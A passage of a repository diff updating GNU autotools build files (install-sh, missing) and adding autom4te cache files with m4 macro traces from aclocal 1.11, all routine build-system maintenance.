shift
|
||||
case $mode in
|
||||
*' '* | *' '* | *'
|
||||
'* | *'*'* | *'?'* | *'['*)
|
||||
echo "$0: invalid mode: $mode" >&2
|
||||
exit 1;;
|
||||
esac
|
||||
continue;;
|
||||
shift;;
|
||||
|
||||
-o) chowncmd="$chownprog $2"
|
||||
shift
|
||||
shift
|
||||
continue;;
|
||||
shift;;
|
||||
|
||||
-s) stripcmd=$stripprog
|
||||
shift
|
||||
continue;;
|
||||
-s) stripcmd=$stripprog;;
|
||||
|
||||
-t) dstarg=$2
|
||||
shift
|
||||
shift
|
||||
continue;;
|
||||
-t) dst_arg=$2
|
||||
shift;;
|
||||
|
||||
-T) no_target_directory=true
|
||||
shift
|
||||
continue;;
|
||||
-T) no_target_directory=true;;
|
||||
|
||||
--version) echo "$0 $scriptversion"; exit $?;;
|
||||
|
||||
@ -165,21 +170,22 @@ while test $# -ne 0; do
|
||||
|
||||
*) break;;
|
||||
esac
|
||||
shift
|
||||
done
|
||||
|
||||
if test $# -ne 0 && test -z "$dir_arg$dstarg"; then
|
||||
if test $# -ne 0 && test -z "$dir_arg$dst_arg"; then
|
||||
# When -d is used, all remaining arguments are directories to create.
|
||||
# When -t is used, the destination is already specified.
|
||||
# Otherwise, the last argument is the destination. Remove it from $@.
|
||||
for arg
|
||||
do
|
||||
if test -n "$dstarg"; then
|
||||
if test -n "$dst_arg"; then
|
||||
# $@ is not empty: it contains at least $arg.
|
||||
set fnord "$@" "$dstarg"
|
||||
set fnord "$@" "$dst_arg"
|
||||
shift # fnord
|
||||
fi
|
||||
shift # arg
|
||||
dstarg=$arg
|
||||
dst_arg=$arg
|
||||
done
|
||||
fi
|
||||
|
||||
@ -242,12 +248,12 @@ do
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if test -z "$dstarg"; then
|
||||
if test -z "$dst_arg"; then
|
||||
echo "$0: no destination specified." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
dst=$dstarg
|
||||
dst=$dst_arg
|
||||
# Protect names starting with `-'.
|
||||
case $dst in
|
||||
-*) dst=./$dst;;
|
||||
@ -257,7 +263,7 @@ do
|
||||
# if double slashes aren't ignored.
|
||||
if test -d "$dst"; then
|
||||
if test -n "$no_target_directory"; then
|
||||
echo "$0: $dstarg: Is a directory" >&2
|
||||
echo "$0: $dst_arg: Is a directory" >&2
|
||||
exit 1
|
||||
fi
|
||||
dstdir=$dst
|
||||
@ -378,26 +384,19 @@ do
|
||||
# directory the slow way, step by step, checking for races as we go.
|
||||
|
||||
case $dstdir in
|
||||
/*) prefix=/ ;;
|
||||
-*) prefix=./ ;;
|
||||
*) prefix= ;;
|
||||
/*) prefix='/';;
|
||||
-*) prefix='./';;
|
||||
*) prefix='';;
|
||||
esac
|
||||
|
||||
case $posix_glob in
|
||||
'')
|
||||
if (set -f) 2>/dev/null; then
|
||||
posix_glob=true
|
||||
else
|
||||
posix_glob=false
|
||||
fi ;;
|
||||
esac
|
||||
eval "$initialize_posix_glob"
|
||||
|
||||
oIFS=$IFS
|
||||
IFS=/
|
||||
$posix_glob && set -f
|
||||
$posix_glob set -f
|
||||
set fnord $dstdir
|
||||
shift
|
||||
$posix_glob && set +f
|
||||
$posix_glob set +f
|
||||
IFS=$oIFS
|
||||
|
||||
prefixes=
|
||||
@ -459,41 +458,54 @@ do
|
||||
# ignore errors from any of these, just make sure not to ignore
|
||||
# errors from the above "$doit $cpprog $src $dsttmp" command.
|
||||
#
|
||||
{ test -z "$chowncmd" || $doit $chowncmd "$dsttmp"; } \
|
||||
&& { test -z "$chgrpcmd" || $doit $chgrpcmd "$dsttmp"; } \
|
||||
&& { test -z "$stripcmd" || $doit $stripcmd "$dsttmp"; } \
|
||||
&& { test -z "$chmodcmd" || $doit $chmodcmd $mode "$dsttmp"; } &&
|
||||
{ test -z "$chowncmd" || $doit $chowncmd "$dsttmp"; } &&
|
||||
{ test -z "$chgrpcmd" || $doit $chgrpcmd "$dsttmp"; } &&
|
||||
{ test -z "$stripcmd" || $doit $stripcmd "$dsttmp"; } &&
|
||||
{ test -z "$chmodcmd" || $doit $chmodcmd $mode "$dsttmp"; } &&
|
||||
|
||||
# If -C, don't bother to copy if it wouldn't change the file.
|
||||
if $copy_on_change &&
|
||||
old=`LC_ALL=C ls -dlL "$dst" 2>/dev/null` &&
|
||||
new=`LC_ALL=C ls -dlL "$dsttmp" 2>/dev/null` &&
|
||||
|
||||
eval "$initialize_posix_glob" &&
|
||||
$posix_glob set -f &&
|
||||
set X $old && old=:$2:$4:$5:$6 &&
|
||||
set X $new && new=:$2:$4:$5:$6 &&
|
||||
$posix_glob set +f &&
|
||||
|
||||
test "$old" = "$new" &&
|
||||
$cmpprog "$dst" "$dsttmp" >/dev/null 2>&1
|
||||
then
|
||||
rm -f "$dsttmp"
|
||||
else
|
||||
# Rename the file to the real destination.
|
||||
$doit $mvcmd -f "$dsttmp" "$dst" 2>/dev/null ||
|
||||
|
||||
# Now rename the file to the real destination.
|
||||
{ $doit $mvcmd -f "$dsttmp" "$dst" 2>/dev/null \
|
||||
|| {
|
||||
# The rename failed, perhaps because mv can't rename something else
|
||||
# to itself, or perhaps because mv is so ancient that it does not
|
||||
# support -f.
|
||||
|
||||
{
|
||||
# Now remove or move aside any old file at destination location.
|
||||
# We try this two ways since rm can't unlink itself on some
|
||||
# systems and the destination file might be busy for other
|
||||
# reasons. In this case, the final cleanup might fail but the new
|
||||
# file should still install successfully.
|
||||
{
|
||||
if test -f "$dst"; then
|
||||
$doit $rmcmd -f "$dst" 2>/dev/null \
|
||||
|| { $doit $mvcmd -f "$dst" "$rmtmp" 2>/dev/null \
|
||||
&& { $doit $rmcmd -f "$rmtmp" 2>/dev/null; :; }; }\
|
||||
|| {
|
||||
echo "$0: cannot unlink or rename $dst" >&2
|
||||
test ! -f "$dst" ||
|
||||
$doit $rmcmd -f "$dst" 2>/dev/null ||
|
||||
{ $doit $mvcmd -f "$dst" "$rmtmp" 2>/dev/null &&
|
||||
{ $doit $rmcmd -f "$rmtmp" 2>/dev/null; :; }
|
||||
} ||
|
||||
{ echo "$0: cannot unlink or rename $dst" >&2
|
||||
(exit 1); exit 1
|
||||
}
|
||||
else
|
||||
:
|
||||
fi
|
||||
} &&
|
||||
|
||||
# Now rename the file to the real destination.
|
||||
$doit $mvcmd "$dsttmp" "$dst"
|
||||
}
|
||||
} || exit 1
|
||||
fi || exit 1
|
||||
|
||||
trap '' 0
|
||||
fi
|
||||
@ -503,5 +515,6 @@ done
|
||||
# eval: (add-hook 'write-file-hooks 'time-stamp)
|
||||
# time-stamp-start: "scriptversion="
|
||||
# time-stamp-format: "%:y-%02m-%02d.%02H"
|
||||
# time-stamp-end: "$"
|
||||
# time-stamp-time-zone: "UTC"
|
||||
# time-stamp-end: "; # UTC"
|
||||
# End:
|
||||
|
49
auto/missing
49
auto/missing
@ -1,10 +1,10 @@
|
||||
#! /bin/sh
|
||||
# Common stub for a few missing GNU programs while installing.
|
||||
|
||||
scriptversion=2006-05-10.23
|
||||
scriptversion=2009-04-28.21; # UTC
|
||||
|
||||
# Copyright (C) 1996, 1997, 1999, 2000, 2002, 2003, 2004, 2005, 2006
|
||||
# Free Software Foundation, Inc.
|
||||
# Copyright (C) 1996, 1997, 1999, 2000, 2002, 2003, 2004, 2005, 2006,
|
||||
# 2008, 2009 Free Software Foundation, Inc.
|
||||
# Originally by Fran,cois Pinard <pinard@iro.umontreal.ca>, 1996.
|
||||
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
@ -18,9 +18,7 @@ scriptversion=2006-05-10.23
|
||||
# GNU General Public License for more details.
|
||||
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
|
||||
# 02110-1301, USA.
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
# As a special exception to the GNU General Public License, if you
|
||||
# distribute this file as part of a program that contains a
|
||||
@ -89,6 +87,9 @@ Supported PROGRAM values:
|
||||
tar try tar, gnutar, gtar, then tar without non-portable flags
|
||||
yacc create \`y.tab.[ch]', if possible, from existing .[ch]
|
||||
|
||||
Version suffixes to PROGRAM as well as the prefixes \`gnu-', \`gnu', and
|
||||
\`g' are ignored when checking the name.
|
||||
|
||||
Send bug reports to <bug-automake@gnu.org>."
|
||||
exit $?
|
||||
;;
|
||||
@ -106,15 +107,22 @@ Send bug reports to <bug-automake@gnu.org>."
|
||||
|
||||
esac
|
||||
|
||||
# normalize program name to check for.
|
||||
program=`echo "$1" | sed '
|
||||
s/^gnu-//; t
|
||||
s/^gnu//; t
|
||||
s/^g//; t'`
|
||||
|
||||
# Now exit if we have it, but it failed. Also exit now if we
|
||||
# don't have it and --version was passed (most likely to detect
|
||||
# the program).
|
||||
# the program). This is about non-GNU programs, so use $1 not
|
||||
# $program.
|
||||
case $1 in
|
||||
lex|yacc)
|
||||
lex*|yacc*)
|
||||
# Not GNU programs, they don't have --version.
|
||||
;;
|
||||
|
||||
tar)
|
||||
tar*)
|
||||
if test -n "$run"; then
|
||||
echo 1>&2 "ERROR: \`tar' requires --run"
|
||||
exit 1
|
||||
@ -138,7 +146,7 @@ esac
|
||||
|
||||
# If it does not exist, or fails to run (possibly an outdated version),
|
||||
# try to emulate it.
|
||||
case $1 in
|
||||
case $program in
|
||||
aclocal*)
|
||||
echo 1>&2 "\
|
||||
WARNING: \`$1' is $msg. You should only need it if
|
||||
@ -148,7 +156,7 @@ WARNING: \`$1' is $msg. You should only need it if
|
||||
touch aclocal.m4
|
||||
;;
|
||||
|
||||
autoconf)
|
||||
autoconf*)
|
||||
echo 1>&2 "\
|
||||
WARNING: \`$1' is $msg. You should only need it if
|
||||
you modified \`${configure_ac}'. You might want to install the
|
||||
@ -157,7 +165,7 @@ WARNING: \`$1' is $msg. You should only need it if
|
||||
touch configure
|
||||
;;
|
||||
|
||||
autoheader)
|
||||
autoheader*)
|
||||
echo 1>&2 "\
|
||||
WARNING: \`$1' is $msg. You should only need it if
|
||||
you modified \`acconfig.h' or \`${configure_ac}'. You might want
|
||||
@ -187,7 +195,7 @@ WARNING: \`$1' is $msg. You should only need it if
|
||||
while read f; do touch "$f"; done
|
||||
;;
|
||||
|
||||
autom4te)
|
||||
autom4te*)
|
||||
echo 1>&2 "\
|
||||
WARNING: \`$1' is needed, but is $msg.
|
||||
You might have modified some files without having the
|
||||
@ -210,7 +218,7 @@ WARNING: \`$1' is needed, but is $msg.
|
||||
fi
|
||||
;;
|
||||
|
||||
bison|yacc)
|
||||
bison*|yacc*)
|
||||
echo 1>&2 "\
|
||||
WARNING: \`$1' $msg. You should only need it if
|
||||
you modified a \`.y' file. You may need the \`Bison' package
|
||||
@ -240,7 +248,7 @@ WARNING: \`$1' $msg. You should only need it if
|
||||
fi
|
||||
;;
|
||||
|
||||
lex|flex)
|
||||
lex*|flex*)
|
||||
echo 1>&2 "\
|
||||
WARNING: \`$1' is $msg. You should only need it if
|
||||
you modified a \`.l' file. You may need the \`Flex' package
|
||||
@ -263,7 +271,7 @@ WARNING: \`$1' is $msg. You should only need it if
|
||||
fi
|
||||
;;
|
||||
|
||||
help2man)
|
||||
help2man*)
|
||||
echo 1>&2 "\
|
||||
WARNING: \`$1' is $msg. You should only need it if
|
||||
you modified a dependency of a manual page. You may need the
|
||||
@ -277,11 +285,11 @@ WARNING: \`$1' is $msg. You should only need it if
|
||||
else
|
||||
test -z "$file" || exec >$file
|
||||
echo ".ab help2man is required to generate this page"
|
||||
exit 1
|
||||
exit $?
|
||||
fi
|
||||
;;
|
||||
|
||||
makeinfo)
|
||||
makeinfo*)
|
||||
echo 1>&2 "\
|
||||
WARNING: \`$1' is $msg. You should only need it if
|
||||
you modified a \`.texi' or \`.texinfo' file, or any other file
|
||||
@ -310,7 +318,7 @@ WARNING: \`$1' is $msg. You should only need it if
|
||||
touch $file
|
||||
;;
|
||||
|
||||
tar)
|
||||
tar*)
|
||||
shift
|
||||
|
||||
# We have already tried tar in the generic part.
|
||||
@ -363,5 +371,6 @@ exit 0
|
||||
# eval: (add-hook 'write-file-hooks 'time-stamp)
|
||||
# time-stamp-start: "scriptversion="
|
||||
# time-stamp-format: "%:y-%02m-%02d.%02H"
|
||||
# time-stamp-end: "$"
|
||||
# time-stamp-time-zone: "UTC"
|
||||
# time-stamp-end: "; # UTC"
|
||||
# End:
|
||||
|
6412
autom4te.cache/output.0
Normal file
6412
autom4te.cache/output.0
Normal file
File diff suppressed because it is too large
Load Diff
6412
autom4te.cache/output.1
Normal file
6412
autom4te.cache/output.1
Normal file
File diff suppressed because it is too large
Load Diff
138
autom4te.cache/requests
Normal file
138
autom4te.cache/requests
Normal file
@ -0,0 +1,138 @@
|
||||
# This file was generated by Autom4te Tue Dec 22 07:01:21 UTC 2009.
|
||||
# It contains the lists of macros which have been traced.
|
||||
# It can be safely removed.
|
||||
|
||||
@request = (
|
||||
bless( [
|
||||
'0',
|
||||
1,
|
||||
[
|
||||
'/usr/share/autoconf'
|
||||
],
|
||||
[
|
||||
'/usr/share/autoconf/autoconf/autoconf.m4f',
|
||||
'/usr/share/aclocal-1.11/amversion.m4',
|
||||
'/usr/share/aclocal-1.11/auxdir.m4',
|
||||
'/usr/share/aclocal-1.11/cond.m4',
|
||||
'/usr/share/aclocal-1.11/depend.m4',
|
||||
'/usr/share/aclocal-1.11/depout.m4',
|
||||
'/usr/share/aclocal-1.11/init.m4',
|
||||
'/usr/share/aclocal-1.11/install-sh.m4',
|
||||
'/usr/share/aclocal-1.11/lead-dot.m4',
|
||||
'/usr/share/aclocal-1.11/make.m4',
|
||||
'/usr/share/aclocal-1.11/minuso.m4',
|
||||
'/usr/share/aclocal-1.11/missing.m4',
|
||||
'/usr/share/aclocal-1.11/mkdirp.m4',
|
||||
'/usr/share/aclocal-1.11/options.m4',
|
||||
'/usr/share/aclocal-1.11/runlog.m4',
|
||||
'/usr/share/aclocal-1.11/sanity.m4',
|
||||
'/usr/share/aclocal-1.11/silent.m4',
|
||||
'/usr/share/aclocal-1.11/strip.m4',
|
||||
'/usr/share/aclocal-1.11/substnot.m4',
|
||||
'/usr/share/aclocal-1.11/tar.m4',
|
||||
'configure.in'
|
||||
],
|
||||
{
|
||||
'm4_pattern_forbid' => 1,
|
||||
'AM_SET_CURRENT_AUTOMAKE_VERSION' => 1,
|
||||
'_AM_SET_OPTION' => 1,
|
||||
'AC_DEFUN' => 1,
|
||||
'AM_PROG_MKDIR_P' => 1,
|
||||
'AM_INIT_AUTOMAKE' => 1,
|
||||
'AM_AUTOMAKE_VERSION' => 1,
|
||||
'AM_MISSING_HAS_RUN' => 1,
|
||||
'AM_SUBST_NOTMAKE' => 1,
|
||||
'AM_MISSING_PROG' => 1,
|
||||
'AM_OUTPUT_DEPENDENCY_COMMANDS' => 1,
|
||||
'AC_DEFUN_ONCE' => 1,
|
||||
'AM_PROG_INSTALL_STRIP' => 1,
|
||||
'_m4_warn' => 1,
|
||||
'AM_SANITY_CHECK' => 1,
|
||||
'AM_SILENT_RULES' => 1,
|
||||
'include' => 1,
|
||||
'_AM_PROG_TAR' => 1,
|
||||
'AM_AUX_DIR_EXPAND' => 1,
|
||||
'AM_DEP_TRACK' => 1,
|
||||
'_AM_SET_OPTIONS' => 1,
|
||||
'_AM_OUTPUT_DEPENDENCY_COMMANDS' => 1,
|
||||
'AM_RUN_LOG' => 1,
|
||||
'_AM_IF_OPTION' => 1,
|
||||
'_AM_SUBST_NOTMAKE' => 1,
|
||||
'm4_pattern_allow' => 1,
|
||||
'_AM_AUTOCONF_VERSION' => 1,
|
||||
'AM_PROG_CC_C_O' => 1,
|
||||
'_AM_MANGLE_OPTION' => 1,
|
||||
'AM_CONDITIONAL' => 1,
|
||||
'AM_SET_LEADING_DOT' => 1,
|
||||
'AM_SET_DEPDIR' => 1,
|
||||
'_AM_DEPENDENCIES' => 1,
|
||||
'm4_include' => 1,
|
||||
'AM_PROG_INSTALL_SH' => 1,
|
||||
'_AC_AM_CONFIG_HEADER_HOOK' => 1,
|
||||
'AU_DEFUN' => 1,
|
||||
'AM_MAKE_INCLUDE' => 1
|
||||
}
|
||||
], 'Autom4te::Request' ),
|
||||
bless( [
|
||||
'1',
|
||||
1,
|
||||
[
|
||||
'/usr/share/autoconf'
|
||||
],
|
||||
[
|
||||
'/usr/share/autoconf/autoconf/autoconf.m4f',
|
||||
'aclocal.m4',
|
||||
'configure.in'
|
||||
],
|
||||
{
|
||||
'AM_PROG_F77_C_O' => 1,
|
||||
'_LT_AC_TAGCONFIG' => 1,
|
||||
'AC_INIT' => 1,
|
||||
'm4_pattern_forbid' => 1,
|
||||
'AC_CANONICAL_TARGET' => 1,
|
||||
'_AM_COND_IF' => 1,
|
||||
'AC_CONFIG_LIBOBJ_DIR' => 1,
|
||||
'AC_SUBST' => 1,
|
||||
'AC_CANONICAL_HOST' => 1,
|
||||
'AC_FC_SRCEXT' => 1,
|
||||
'AC_PROG_LIBTOOL' => 1,
|
||||
'AM_INIT_AUTOMAKE' => 1,
|
||||
'AC_CONFIG_SUBDIRS' => 1,
|
||||
'AM_AUTOMAKE_VERSION' => 1,
|
||||
'LT_CONFIG_LTDL_DIR' => 1,
|
||||
'AC_CONFIG_LINKS' => 1,
|
||||
'AC_REQUIRE_AUX_FILE' => 1,
|
||||
'LT_SUPPORTED_TAG' => 1,
|
||||
'm4_sinclude' => 1,
|
||||
'AM_MAINTAINER_MODE' => 1,
|
||||
'AM_GNU_GETTEXT_INTL_SUBDIR' => 1,
|
||||
'_m4_warn' => 1,
|
||||
'AM_PROG_CXX_C_O' => 1,
|
||||
'_AM_COND_ENDIF' => 1,
|
||||
'AM_ENABLE_MULTILIB' => 1,
|
||||
'AM_SILENT_RULES' => 1,
|
||||
'AC_CONFIG_FILES' => 1,
|
||||
'LT_INIT' => 1,
|
||||
'include' => 1,
|
||||
'AM_GNU_GETTEXT' => 1,
|
||||
'AC_LIBSOURCE' => 1,
|
||||
'AC_CANONICAL_BUILD' => 1,
|
||||
'AM_PROG_FC_C_O' => 1,
|
||||
'AC_FC_FREEFORM' => 1,
|
||||
'AH_OUTPUT' => 1,
|
||||
'AC_CONFIG_AUX_DIR' => 1,
|
||||
'_AM_SUBST_NOTMAKE' => 1,
|
||||
'AM_PROG_CC_C_O' => 1,
|
||||
'm4_pattern_allow' => 1,
|
||||
'sinclude' => 1,
|
||||
'AM_CONDITIONAL' => 1,
|
||||
'AC_CANONICAL_SYSTEM' => 1,
|
||||
'AC_CONFIG_HEADERS' => 1,
|
||||
'AC_DEFINE_TRACE_LITERAL' => 1,
|
||||
'm4_include' => 1,
|
||||
'_AM_COND_ELSE' => 1,
|
||||
'AC_SUBST_TRACE' => 1
|
||||
}
|
||||
], 'Autom4te::Request' )
|
||||
);
|
||||
|
805
autom4te.cache/traces.0
Normal file
805
autom4te.cache/traces.0
Normal file
@ -0,0 +1,805 @@
|
||||
m4trace:/usr/share/aclocal-1.11/amversion.m4:14: -1- AC_DEFUN([AM_AUTOMAKE_VERSION], [am__api_version='1.11'
|
||||
dnl Some users find AM_AUTOMAKE_VERSION and mistake it for a way to
|
||||
dnl require some minimum version. Point them to the right macro.
|
||||
m4_if([$1], [1.11.1], [],
|
||||
[AC_FATAL([Do not call $0, use AM_INIT_AUTOMAKE([$1]).])])dnl
|
||||
])
|
||||
m4trace:/usr/share/aclocal-1.11/amversion.m4:33: -1- AC_DEFUN([AM_SET_CURRENT_AUTOMAKE_VERSION], [AM_AUTOMAKE_VERSION([1.11.1])dnl
|
||||
m4_ifndef([AC_AUTOCONF_VERSION],
|
||||
[m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl
|
||||
_AM_AUTOCONF_VERSION(m4_defn([AC_AUTOCONF_VERSION]))])
|
||||
m4trace:/usr/share/aclocal-1.11/auxdir.m4:47: -1- AC_DEFUN([AM_AUX_DIR_EXPAND], [dnl Rely on autoconf to set up CDPATH properly.
|
||||
AC_PREREQ([2.50])dnl
|
||||
# expand $ac_aux_dir to an absolute path
|
||||
am_aux_dir=`cd $ac_aux_dir && pwd`
|
||||
])
|
||||
m4trace:/usr/share/aclocal-1.11/cond.m4:15: -1- AC_DEFUN([AM_CONDITIONAL], [AC_PREREQ(2.52)dnl
|
||||
ifelse([$1], [TRUE], [AC_FATAL([$0: invalid condition: $1])],
|
||||
[$1], [FALSE], [AC_FATAL([$0: invalid condition: $1])])dnl
|
||||
AC_SUBST([$1_TRUE])dnl
|
||||
AC_SUBST([$1_FALSE])dnl
|
||||
_AM_SUBST_NOTMAKE([$1_TRUE])dnl
|
||||
_AM_SUBST_NOTMAKE([$1_FALSE])dnl
|
||||
m4_define([_AM_COND_VALUE_$1], [$2])dnl
|
||||
if $2; then
|
||||
$1_TRUE=
|
||||
$1_FALSE='#'
|
||||
else
|
||||
$1_TRUE='#'
|
||||
$1_FALSE=
|
||||
fi
|
||||
AC_CONFIG_COMMANDS_PRE(
|
||||
[if test -z "${$1_TRUE}" && test -z "${$1_FALSE}"; then
|
||||
AC_MSG_ERROR([[conditional "$1" was never defined.
|
||||
Usually this means the macro was only invoked conditionally.]])
|
||||
fi])])
|
||||
m4trace:/usr/share/aclocal-1.11/depend.m4:28: -1- AC_DEFUN([_AM_DEPENDENCIES], [AC_REQUIRE([AM_SET_DEPDIR])dnl
|
||||
AC_REQUIRE([AM_OUTPUT_DEPENDENCY_COMMANDS])dnl
|
||||
AC_REQUIRE([AM_MAKE_INCLUDE])dnl
|
||||
AC_REQUIRE([AM_DEP_TRACK])dnl
|
||||
|
||||
ifelse([$1], CC, [depcc="$CC" am_compiler_list=],
|
||||
[$1], CXX, [depcc="$CXX" am_compiler_list=],
|
||||
[$1], OBJC, [depcc="$OBJC" am_compiler_list='gcc3 gcc'],
|
||||
[$1], UPC, [depcc="$UPC" am_compiler_list=],
|
||||
[$1], GCJ, [depcc="$GCJ" am_compiler_list='gcc3 gcc'],
|
||||
[depcc="$$1" am_compiler_list=])
|
||||
|
||||
AC_CACHE_CHECK([dependency style of $depcc],
|
||||
[am_cv_$1_dependencies_compiler_type],
|
||||
[if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then
|
||||
# We make a subdir and do the tests there. Otherwise we can end up
|
||||
# making bogus files that we don't know about and never remove. For
|
||||
# instance it was reported that on HP-UX the gcc test will end up
|
||||
# making a dummy file named `D' -- because `-MD' means `put the output
|
||||
# in D'.
|
||||
mkdir conftest.dir
|
||||
# Copy depcomp to subdir because otherwise we won't find it if we're
|
||||
# using a relative directory.
|
||||
cp "$am_depcomp" conftest.dir
|
||||
cd conftest.dir
|
||||
# We will build objects and dependencies in a subdirectory because
|
||||
# it helps to detect inapplicable dependency modes. For instance
|
||||
# both Tru64's cc and ICC support -MD to output dependencies as a
|
||||
# side effect of compilation, but ICC will put the dependencies in
|
||||
# the current directory while Tru64 will put them in the object
|
||||
# directory.
|
||||
mkdir sub
|
||||
|
||||
am_cv_$1_dependencies_compiler_type=none
|
||||
if test "$am_compiler_list" = ""; then
|
||||
am_compiler_list=`sed -n ['s/^#*\([a-zA-Z0-9]*\))$/\1/p'] < ./depcomp`
|
||||
fi
|
||||
am__universal=false
|
||||
m4_case([$1], [CC],
|
||||
[case " $depcc " in #(
|
||||
*\ -arch\ *\ -arch\ *) am__universal=true ;;
|
||||
esac],
|
||||
[CXX],
|
||||
[case " $depcc " in #(
|
||||
*\ -arch\ *\ -arch\ *) am__universal=true ;;
|
||||
esac])
|
||||
|
||||
for depmode in $am_compiler_list; do
|
||||
# Setup a source with many dependencies, because some compilers
|
||||
# like to wrap large dependency lists on column 80 (with \), and
|
||||
# we should not choose a depcomp mode which is confused by this.
|
||||
#
|
||||
# We need to recreate these files for each test, as the compiler may
|
||||
# overwrite some of them when testing with obscure command lines.
|
||||
# This happens at least with the AIX C compiler.
|
||||
: > sub/conftest.c
|
||||
for i in 1 2 3 4 5 6; do
|
||||
echo '#include "conftst'$i'.h"' >> sub/conftest.c
|
||||
# Using `: > sub/conftst$i.h' creates only sub/conftst1.h with
|
||||
# Solaris 8's {/usr,}/bin/sh.
|
||||
touch sub/conftst$i.h
|
||||
done
|
||||
echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf
|
||||
|
||||
# We check with `-c' and `-o' for the sake of the "dashmstdout"
|
||||
# mode. It turns out that the SunPro C++ compiler does not properly
|
||||
# handle `-M -o', and we need to detect this. Also, some Intel
|
||||
# versions had trouble with output in subdirs
|
||||
am__obj=sub/conftest.${OBJEXT-o}
|
||||
am__minus_obj="-o $am__obj"
|
||||
case $depmode in
|
||||
gcc)
|
||||
# This depmode causes a compiler race in universal mode.
|
||||
test "$am__universal" = false || continue
|
||||
;;
|
||||
nosideeffect)
|
||||
# after this tag, mechanisms are not by side-effect, so they'll
|
||||
# only be used when explicitly requested
|
||||
if test "x$enable_dependency_tracking" = xyes; then
|
||||
continue
|
||||
else
|
||||
break
|
||||
fi
|
||||
;;
|
||||
msvisualcpp | msvcmsys)
|
||||
# This compiler won't grok `-c -o', but also, the minuso test has
|
||||
# not run yet. These depmodes are late enough in the game, and
|
||||
# so weak that their functioning should not be impacted.
|
||||
am__obj=conftest.${OBJEXT-o}
|
||||
am__minus_obj=
|
||||
;;
|
||||
none) break ;;
|
||||
esac
|
||||
if depmode=$depmode \
|
||||
source=sub/conftest.c object=$am__obj \
|
||||
depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \
|
||||
$SHELL ./depcomp $depcc -c $am__minus_obj sub/conftest.c \
|
||||
>/dev/null 2>conftest.err &&
|
||||
grep sub/conftst1.h sub/conftest.Po > /dev/null 2>&1 &&
|
||||
grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 &&
|
||||
grep $am__obj sub/conftest.Po > /dev/null 2>&1 &&
|
||||
${MAKE-make} -s -f confmf > /dev/null 2>&1; then
|
||||
# icc doesn't choke on unknown options, it will just issue warnings
|
||||
# or remarks (even with -Werror). So we grep stderr for any message
|
||||
# that says an option was ignored or not supported.
|
||||
# When given -MP, icc 7.0 and 7.1 complain thusly:
|
||||
# icc: Command line warning: ignoring option '-M'; no argument required
|
||||
# The diagnosis changed in icc 8.0:
|
||||
# icc: Command line remark: option '-MP' not supported
|
||||
if (grep 'ignoring option' conftest.err ||
|
||||
grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else
|
||||
am_cv_$1_dependencies_compiler_type=$depmode
|
||||
break
|
||||
fi
|
||||
fi
|
||||
done
|
||||
|
||||
cd ..
|
||||
rm -rf conftest.dir
|
||||
else
|
||||
am_cv_$1_dependencies_compiler_type=none
|
||||
fi
|
||||
])
|
||||
AC_SUBST([$1DEPMODE], [depmode=$am_cv_$1_dependencies_compiler_type])
|
||||
AM_CONDITIONAL([am__fastdep$1], [
|
||||
test "x$enable_dependency_tracking" != xno \
|
||||
&& test "$am_cv_$1_dependencies_compiler_type" = gcc3])
|
||||
])
|
||||
m4trace:/usr/share/aclocal-1.11/depend.m4:163: -1- AC_DEFUN([AM_SET_DEPDIR], [AC_REQUIRE([AM_SET_LEADING_DOT])dnl
|
||||
AC_SUBST([DEPDIR], ["${am__leading_dot}deps"])dnl
|
||||
])
|
||||
m4trace:/usr/share/aclocal-1.11/depend.m4:171: -1- AC_DEFUN([AM_DEP_TRACK], [AC_ARG_ENABLE(dependency-tracking,
|
||||
[ --disable-dependency-tracking speeds up one-time build
|
||||
--enable-dependency-tracking do not reject slow dependency extractors])
|
||||
if test "x$enable_dependency_tracking" != xno; then
|
||||
am_depcomp="$ac_aux_dir/depcomp"
|
||||
AMDEPBACKSLASH='\'
|
||||
fi
|
||||
AM_CONDITIONAL([AMDEP], [test "x$enable_dependency_tracking" != xno])
|
||||
AC_SUBST([AMDEPBACKSLASH])dnl
|
||||
_AM_SUBST_NOTMAKE([AMDEPBACKSLASH])dnl
|
||||
])
|
||||
m4trace:/usr/share/aclocal-1.11/depout.m4:14: -1- AC_DEFUN([_AM_OUTPUT_DEPENDENCY_COMMANDS], [{
|
||||
# Autoconf 2.62 quotes --file arguments for eval, but not when files
|
||||
# are listed without --file. Let's play safe and only enable the eval
|
||||
# if we detect the quoting.
|
||||
case $CONFIG_FILES in
|
||||
*\'*) eval set x "$CONFIG_FILES" ;;
|
||||
*) set x $CONFIG_FILES ;;
|
||||
esac
|
||||
shift
|
||||
for mf
|
||||
do
|
||||
# Strip MF so we end up with the name of the file.
|
||||
mf=`echo "$mf" | sed -e 's/:.*$//'`
|
||||
# Check whether this is an Automake generated Makefile or not.
|
||||
# We used to match only the files named `Makefile.in', but
|
||||
# some people rename them; so instead we look at the file content.
|
||||
# Grep'ing the first line is not enough: some people post-process
|
||||
# each Makefile.in and add a new line on top of each file to say so.
|
||||
# Grep'ing the whole file is not good either: AIX grep has a line
|
||||
# limit of 2048, but all sed's we know have understand at least 4000.
|
||||
if sed -n 's,^#.*generated by automake.*,X,p' "$mf" | grep X >/dev/null 2>&1; then
|
||||
dirpart=`AS_DIRNAME("$mf")`
|
||||
else
|
||||
continue
|
||||
fi
|
||||
# Extract the definition of DEPDIR, am__include, and am__quote
|
||||
# from the Makefile without running `make'.
|
||||
DEPDIR=`sed -n 's/^DEPDIR = //p' < "$mf"`
|
||||
test -z "$DEPDIR" && continue
|
||||
am__include=`sed -n 's/^am__include = //p' < "$mf"`
|
||||
test -z "am__include" && continue
|
||||
am__quote=`sed -n 's/^am__quote = //p' < "$mf"`
|
||||
# When using ansi2knr, U may be empty or an underscore; expand it
|
||||
U=`sed -n 's/^U = //p' < "$mf"`
|
||||
# Find all dependency output files, they are included files with
|
||||
# $(DEPDIR) in their names. We invoke sed twice because it is the
|
||||
